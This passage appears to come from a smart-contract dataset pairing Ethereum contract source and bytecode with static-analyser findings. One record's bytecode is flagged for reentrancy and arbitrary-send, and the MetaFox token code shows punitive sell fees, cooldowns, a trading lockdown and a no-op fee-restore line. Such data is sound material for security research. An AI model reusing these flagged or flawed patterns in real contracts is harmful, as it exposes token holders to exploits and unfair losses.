01b03811681146107d657600080fd5b80356118e7816118c7565b919050565b600060208083850312156118ff57600080fd5b823567ffffffffffffffff8082111561191757600080fd5b818501915085601f83011261192b57600080fd5b81358181111561193d5761193d6118b1565b8060051b604051601f19603f83011681018181108582111715611962576119626118b1565b60405291825284820192508381018501918883111561198057600080fd5b938501935b828510156119a557611996856118dc565b84529385019392850192611985565b98975050505050505050565b600060208083528351808285015260005b818110156119de578581018301518582016040015282016119c2565b818111156119f0576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a1957600080fd5b8235611a24816118c7565b946020939093013593505050565b600080600060608486031215611a4757600080fd5b8335611a52816118c7565b92506020840135611a62816118c7565b929592945050506040919091013590565b600060208284031215611a8557600080fd5b813561127b816118c7565b803580151581146118e757600080fd5b600060208284031215611ab257600080fd5b61127b82611a90565b600060208284031215611acd57600080fd5b5035919050565b60008060008060808587031215611aea57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b1b57600080fd5b833567ffffffffffffffff80821115611b3357600080fd5b818601915086601f830112611b4757600080fd5b813581811115611b5657600080fd5b8760208260051b8501011115611b6b57600080fd5b602092830195509350611b819186019050611a90565b90509250925092565b60008060408385031215611b9d57600080fd5b8235611ba8816118c7565b91506020830135611bb8816118c7565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611c3657611c36611c0e565b5060010190565b60008219821115611c5057611c50611c0e565b500190565b600082821015611c6757611c67611c0e565b500390565b600060208284031215611c7e57600080fd5b815161127b816118c7565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611cd95784516001600160a01b031683529383019391830191600101611cb4565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d1757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d3657611d36611c0e565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220526bf3f71ab987e647f6ec37605cfe9cc03338f6e0f721c7632b02db43176fb464736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,283
0x5912b2524c40986156248a6108e8d302e9df051d
pragma solidity ^0.4.21; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract DetailedERC20 is ERC20 { string public name; string public symbol; uint8 public decimals; function DetailedERC20(string _name, string _symbol, uint8 _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is DetailedERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function StandardToken(string _name, string _symbol, uint8 _decimals) DetailedERC20(_name, _symbol, _decimals) public { } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract Taur is StandardToken, BurnableToken { string NAME = "Taurus0x"; string SYMBOL = "TAUR"; uint8 DECIMALS = 18; uint public INITIAL_SUPPLY = 250000000; function Taur() StandardToken(NAME, SYMBOL, DECIMALS) public { totalSupply_ = INITIAL_SUPPLY * (10 ** uint256(DECIMALS)); balances[msg.sender] = totalSupply_; } }
0x6080604052600436106100c5576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100ca578063095ea7b31461015a57806318160ddd146101bf57806323b872dd146101ea5780632ff2e9dc1461026f578063313ce5671461029a57806342966c68146102cb57806366188463146102f857806370a082311461035d57806395d89b41146103b4578063a9059cbb14610444578063d73dd623146104a9578063dd62ed3e1461050e575b600080fd5b3480156100d657600080fd5b506100df610585565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011f578082015181840152602081019050610104565b50505050905090810190601f16801561014c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561016657600080fd5b506101a5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610623565b604051808215151515815260200191505060405180910390f35b3480156101cb57600080fd5b506101d4610715565b6040518082815260200191505060405180910390f35b3480156101f657600080fd5b50610255600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061071f565b604051808215151515815260200191505060405180910390f35b34801561027b57600080fd5b50610284610ade565b6040518082815260200191505060405180910390f35b3480156102a657600080fd5b506102af610ae4565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102d757600080fd5b506102f660048036038101908080359060200190929190505050610af7565b005b34801561030457600080fd5b50610343600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cb2565b604051808215151515815260200191505060405180910390f35b34801561036957600080fd5b5061039e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f43565b6040518082815260200191505060405180910390f35b3480156103c057600080fd5b506103c9610f8c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104095780820151818401526020810190506103ee565b50505050905090810190601f1680156104365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561045057600080fd5b5061048f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061102a565b604051808215151515815260200191505060405180910390f35b3480156104b557600080fd5b506104f4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061124e565b604051808215151515815260200191505060405180910390f35b34801561051a57600080fd5b5061056f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061144a565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561061b5780601f106105f05761010080835404028352916020019161061b565b820191906000526020600020905b8154815290600101906020018083116105fe57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600454905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561075c57600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107aa57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561083557600080fd5b61088782600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114d190919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061091c82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ea90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109ee82600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114d190919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60095481565b600260009054906101000a900460ff1681565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610b4757600080fd5b339050610b9c82600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114d190919063ffffffff16565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bf4826004546114d190919063ffffffff16565b6004819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610dc3576000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e57565b610dd683826114d190919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110225780601f10610ff757610100808354040283529160200191611022565b820191906000526020600020905b81548152906001019060200180831161100557829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561106757600080fd5b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156110b557600080fd5b61110782600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114d190919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061119c82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ea90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006112df82600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ea90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111515156114df57fe5b818303905092915050565b60008082840190508381101515156114fe57fe5b80915050929150505600a165627a7a723058200dc7bf3dd7cebb57c88c979671d8d02f3260f8ed40409d88f9674939a9c117a90029
{"success": true, "error": null, "results": {}}
7,284
0x483e405147cf60ccc8aaf11a7a33b96e6119b1d5
/** *Submitted for verification at Etherscan.io on 2021-06-06 */ /* SPDX-License-Identifier: Mines™®© */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract MetaFox is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = unicode"MetaFox"; string private constant _symbol = "METAFOX"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 7; uint256 private _teamFee = 6; mapping(address => bool) private bots; mapping(address => uint256) private buycooldown; mapping(address => uint256) private sellcooldown; mapping(address => uint256) private firstsell; mapping(address => uint256) private sellnumber; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; bool private liquidityAdded = false; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal,"Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 7; _teamFee = 6; } function setFee(uint256 multiplier) private { _taxFee = _taxFee * multiplier; if (multiplier > 1) { _teamFee = 10; } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) { require(tradingOpen); require(amount <= _maxTxAmount); require(buycooldown[to] < block.timestamp); buycooldown[to] = block.timestamp + (30 seconds); _teamFee = 6; _taxFee = 2; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount); require(sellcooldown[from] < block.timestamp); if(firstsell[from] + (1 days) < block.timestamp){ sellnumber[from] = 0; } if (sellnumber[from] == 0) { sellnumber[from]++; firstsell[from] = block.timestamp; sellcooldown[from] = block.timestamp + (1 hours); } else if (sellnumber[from] == 1) { sellnumber[from]++; sellcooldown[from] = block.timestamp + (2 hours); } else if (sellnumber[from] == 2) { sellnumber[from]++; sellcooldown[from] = block.timestamp + (6 hours); } else if (sellnumber[from] == 3) { sellnumber[from]++; sellcooldown[from] = firstsell[from] + (1 days); } swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } setFee(sellnumber[from]); } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); restoreAllFee; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() public onlyOwner { require(liquidityAdded); tradingOpen = true; } function addLiquidity() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; liquidityAdded = true; _maxTxAmount = 3000000000 * 10**9; IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
